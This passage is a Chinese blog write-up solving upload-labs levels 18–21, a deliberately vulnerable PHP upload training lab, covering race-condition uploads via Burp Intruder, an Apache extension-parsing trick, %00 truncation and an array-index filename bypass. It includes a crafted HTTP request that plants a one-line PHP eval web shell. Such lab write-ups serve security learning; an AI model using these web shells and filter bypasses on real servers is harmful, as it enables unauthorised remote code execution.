这样就会有个问题,我们只要同时上传多个相同文件,在它删除之前访问就可以了
那么这边我们就要用到burpsuite的intruder模块了,我们可以创建两个自动攻击方案,第一个自动攻击方案是一直持续的将文件上传到服务器中,这时服务器就会一直对应的做判断文件类型,然后是重命名文件还是删除文件的操作;第二个自动攻击方案是一直持续的访问我们上传的文件(我们可以写一个php代码,当我们访问执行该php代码时,会自动在该文件所在目录下创建一个一句话木马,这样就达到了我们将一句话木马上传到服务器的目的了)
蚌埠住了这道题,反复横跳,试了好几次,不过终于还是复现成功了(谢天谢地
这里是复现的大佬的博客(虽然我还是失败好几次
(43条消息) Upload-labs-master实验笔记:Pass18(条件竞争)_大大大蜜蜂的博客-CSDN博客_upload-labs条件竞争
首先写一个auto_into_server.php
‘);?>
注意这里x旁边的双引号可不要换成单引号了(什么血的教训)
我们用burpsuite爆破,重复往里面写入auto_into_server.php,虽然这个脚本会反复被删,但是在被删之前的瞬间,我们只要用intruder模块访问到auto_into_server.php,就可以执行这个php文件,作用是往上传文件夹里面写入yijuhua.php 即 而我们的一句话木马可不会被检查,因此也就成功绕过了!
下面正式开始操作:
先上传auto_into_server.php,bp抓包,发送到intruder模块,在positions里把所有爆破点全部clear掉,在payloads的payloadtype里选Null payloads,payload options选continue indefinitely,先放在这边,记为一号方案
再访问upload文件夹下面的auto_into_server.php,bp抓包,发送到intruder模块,在positions里把所有爆破点全部clear掉,在payloads的payloadtype里选Null payloads,payload options选continue indefinitely,记为二号方案
然后先让一号方案start attack,这个时候可以看到upload文件夹下面,auto_into_server模块时不时地会出现,再把后面的二号方案start attack,在二号方案弹出的爆破进程窗口点击fileter:Showing all items,将不是显示success的其他项目的钩取消掉。
看到200之后,我们就可以停止攻击了,这个时候upload文件夹下面就可以看到我们的yijuhua.php了,好耶,蚁蚁开天宝剑连接!(bushi)
Pass-19 条件竞争+Apache解析漏洞 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ require_once ("./myupload.php" ); $imgFileName =time (); $u = new MyUpload ($_FILES ['upload_file' ]['name' ], $_FILES ['upload_file' ]['tmp_name' ], $_FILES ['upload_file' ]['size' ],$imgFileName ); $status_code = $u ->upload (UPLOAD_PATH); switch ($status_code ) { case 1 : $is_upload = true ; $img_path = $u ->cls_upload_dir . $u ->cls_file_rename_to; break ; case 2 : $msg = '文件已经被上传,但没有重命名。' ; break ; case -1 : $msg = '这个文件不能上传到服务器的临时文件存储目录。' ; break ; case -2 : $msg = '上传失败,上传目录不可写。' ; break ; case -3 : $msg = '上传失败,无法上传该类型文件。' ; break ; case -4 : $msg = '上传失败,上传的文件过大。' ; break ; case -5 : $msg = '上传失败,服务器已经存在相同名称文件。' ; break ; case -6 : $msg = '文件无法上传,文件不能复制到目标目录。' ; break ; default : $msg = '未知错误!' ; break ; } } class MyUpload {...... ...... ...... var $cls_arr_ext_accepted = array ( ".doc" , ".xls" , ".txt" , ".pdf" , ".gif" , ".jpg" , ".zip" , ".rar" , ".7z" ,".ppt" , ".html" , ".xml" , ".tiff" , ".jpeg" , ".png" ); ...... ...... ...... function upload ( $dir ) { $ret = $this ->isUploadedFile (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->setDir ( $dir ); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->checkExtension (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->checkSize (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } if ( $this ->cls_file_exists == 1 ){ $ret = $this ->checkFileExists (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } } $ret = $this ->move (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } if ( $this ->cls_rename_file == 1 ){ $ret = $this ->renameFile (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } } return $this ->resultUpload ( "SUCCESS" ); } ...... ...... ...... };
这次代码比之前长很多,但是和上一题一样,是先执行的move函数,再执行的renameFile函数
但是不一样的是,上一题是“先上传再检查再重命名”
这一题是“先检查再上传再重新命名”
由于先上传再重命名,这里可以和上一题一样是条件竞争,在重命名之前访问php木马就可以做到执行写入一句话木马的木马代码,从而在文件夹里面留下一个一句话木马。
那么问题就是,怎么通过这个检查了,可以看到这个检查的函数具体怎么实现我们是不知道的
这里试了一下图片马,直接上传会被重命名……但是,用burp的intruder模块,一下子传一堆一个名字的图片马,就会留下一个名字不会被重命名的图片马,属实让我有点懵逼(这里标记一下,暂时理解成处理不过来?)然后用文件包含就可以连接到这个木马了
???
嘛,再看一下网上的办法,是用条件竞争+apache解析漏洞,由于apache不解析7z文件,所以形如1.php.7z就会被解析成1.php,那么就和上一题一模一样了,仅仅需要把名字从auto_into_server.php改成auto_into_server.php.7z。
Less-20 00%截断绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ); $file_name = $_POST ['save_name' ]; $file_ext = pathinfo ($file_name ,PATHINFO_EXTENSION); if (!in_array ($file_ext ,$deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; }else { $msg = '上传出错!' ; } }else { $msg = '禁止保存为该类型文件!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
可以看到,img_path的filename是由我们post的变量sava_name控制的,那显然,我们又可以%00截断绕过了!
和pass-13一样即可
Pass-21 综合-代码审计 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 $is_upload = false ;$msg = null ;if (!empty ($_FILES ['upload_file' ])){ $allow_type = array ('image/jpeg' ,'image/png' ,'image/gif' ); if (!in_array ($_FILES ['upload_file' ]['type' ],$allow_type )){ $msg = "禁止上传该类型文件!" ; }else { $file = empty ($_POST ['save_name' ]) ? $_FILES ['upload_file' ]['name' ] : $_POST ['save_name' ]; if (!is_array ($file )) { $file = explode ('.' , strtolower ($file )); } $ext = end ($file ); $allow_suffix = array ('jpg' ,'png' ,'gif' ); if (!in_array ($ext , $allow_suffix )) { $msg = "禁止上传该后缀文件!" ; }else { $file_name = reset ($file ) . '.' . $file [count ($file ) - 1 ]; $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $msg = "文件上传成功!" ; $is_upload = true ; } else { $msg = "文件上传失败!" ; } } } }else { $msg = "请选择要上传的文件!" ; }
解释一下一些函数
strtolower() 函数把字符串转换为小写。 explode()函数可以把字符串按照给定的间隔符打散成数组 end()函数将 array的内部指针移动到最后一个单元并返回其值 reset()函数将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值 count() 函数计算数组中的单元数目或对象中的属性个数,这里要注意,数组下标从0开始
可以看到,这里先检测MIME类型,然后可以post进去save_name,如果不post,那save_name就是文件名,然后如果file变量(也就是save_name)不是数组就按点号把文件名的字符串打散,取第一个和最后一个组合(如1.a.b.c会变成1.c)然后看看组合之后的文件后缀名是否能在白名单内,如果可以就上传至服务器
那么,我们只要令save_name是一个数组,那file变量就是数组,也就不会把文件名给打散了,并且要使$file[元素个数-1]不是最后一个元素,也就是需要save_name数组的最后一个元素需要是白名单里的元素
然后这边一直没绕过去……看了这篇博客之后被点通了
(43条消息) upload-labs通关(Pass-16~Pass-21)_仙女象的博客-CSDN博客
根据本关拼接最终文件名的方法,由于服务器是windows系统,文件名最后加个点号并没有关系,系统会自动去掉,所以可以save_name[0]=sh.php,save_name[2]=png,这样$file[2]=png,可以绕过后缀白名单检查,而count($file)为2,count($file)-1为1,而$file[1]根本不存在,因此组合成的最终的文件名是sh.php.,而windows系统会将其保存为sh.php。
这里展示一下修改之后的burp包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 POST /bachang/upload-labs-master/Pass-21/index.php?action=show_code HTTP/1.1 Host : 127.0.0.1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflateContent-Type : multipart/form-data; boundary=---------------------------391815264839255876962593452164Content-Length : 504Origin : http://127.0.0.1Connection : closeReferer : http://127.0.0.1/bachang/upload-labs-master/Pass-21/index.php?action=show_codeUpgrade-Insecure-Requests : 1-----------------------------391815264839255876962593452164 Content-Disposition: form-data; name="upload_file" ; filename="yijuhua.jpg" Content-Type: image/jpeg <?php @eval ($_POST ['a' ]); ?> -----------------------------391815264839255876962593452164 Content-Disposition: form-data; name="save_name[0]" sh.php -----------------------------391815264839255876962593452164 Content-Disposition: form-data; name="save_name[2]" jpg -----------------------------391815264839255876962593452164 Content-Disposition: form-data; name="submit" ä¸ä¼ -----------------------------391815264839255876962593452164 --
蚁剑连接,成功!
终于通关了,在写的时候参考了很多大佬的博客,比如
上传靶机实战之upload-labs解题 - 小艾搞安全 - 博客园 (cnblogs.com)
Upload-labs(1-15)详解 - 腾讯云开发者社区-腾讯云 (tencent.com)
感谢前辈的智慧(
过几天回去写几道sqlilabs,然后要准备开坑ctf-show的笔记了(主要应该是命令注入部分)
完结撒花!